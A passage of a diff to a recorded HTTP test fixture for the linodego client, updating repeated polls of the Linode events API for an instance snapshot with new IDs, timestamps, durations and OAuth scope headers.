"linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 105, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1210,13 +1230,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:11:59 GMT + - Fri, 31 May 2024 17:40:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1232,7 +1252,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1251,15 +1274,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 120, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 119, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1277,13 +1300,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:12:14 GMT + - Fri, 31 May 2024 17:40:26 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1299,7 +1322,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1318,15 +1344,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 135, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 134, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1344,13 +1370,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:12:29 GMT + - Fri, 31 May 2024 17:40:41 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1366,7 +1392,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1385,15 +1414,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 150, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 149, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1411,13 +1440,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:12:44 GMT + - Fri, 31 May 2024 17:40:56 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1433,7 +1462,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1452,15 +1484,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 165, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 165, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1478,13 +1510,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:12:59 GMT + - Fri, 31 May 2024 17:41:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1500,7 +1532,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1519,15 +1554,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 180, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 179, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1545,13 +1580,13 @@ interactions: Connection: - keep-alive Content-Length: - - "454" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:13:14 GMT + - Fri, 31 May 2024 17:41:27 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1567,7 +1602,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1586,216 +1624,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": 195, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "454" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:13:29 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' - url: https://api.linode.com/v4beta/account/events?page=1 - method: GET - response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 210, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "455" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:13:44 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' - url: https://api.linode.com/v4beta/account/events?page=1 - method: GET - response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 225, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "455" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:13:59 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' - url: https://api.linode.com/v4beta/account/events?page=1 - method: GET - response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 240, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 195, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1813,13 +1650,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" + - "456" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:14:14 GMT + - Fri, 31 May 2024 17:41:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1835,7 +1672,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1854,15 +1694,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 255, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 209, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -1880,80 +1720,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:14:29 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' - url: https://api.linode.com/v4beta/account/events?page=1 - method: GET - response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 270, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "455" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:14:44 GMT + - Fri, 31 May 2024 17:41:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1969,7 +1742,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1988,15 +1764,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 285, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 224, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2014,13 +1790,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:14:59 GMT + - Fri, 31 May 2024 17:42:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2036,7 +1812,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2055,15 +1834,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 300, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 239, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2081,13 +1860,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:14 GMT + - Fri, 31 May 2024 17:42:26 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2103,7 +1882,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2122,15 +1904,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 315, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": + "duration": 254, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2148,13 +1930,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:29 GMT + - Fri, 31 May 2024 17:42:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2170,7 +1952,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2189,15 +1974,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649326868}}' + - '{"+order":"desc","+order_by":"created","action":"linode_snapshot","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728449415}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649326868, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728449415, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 330, "action": "linode_snapshot", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "finished", "secondary_entity": + "duration": 269, "action": "linode_snapshot", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2215,13 +2000,13 @@ interactions: Connection: - keep-alive Content-Length: - - "457" + - "459" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:44 GMT + - Fri, 31 May 2024 17:42:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2237,7 +2022,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2255,13 +2043,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups/281008628 + url: 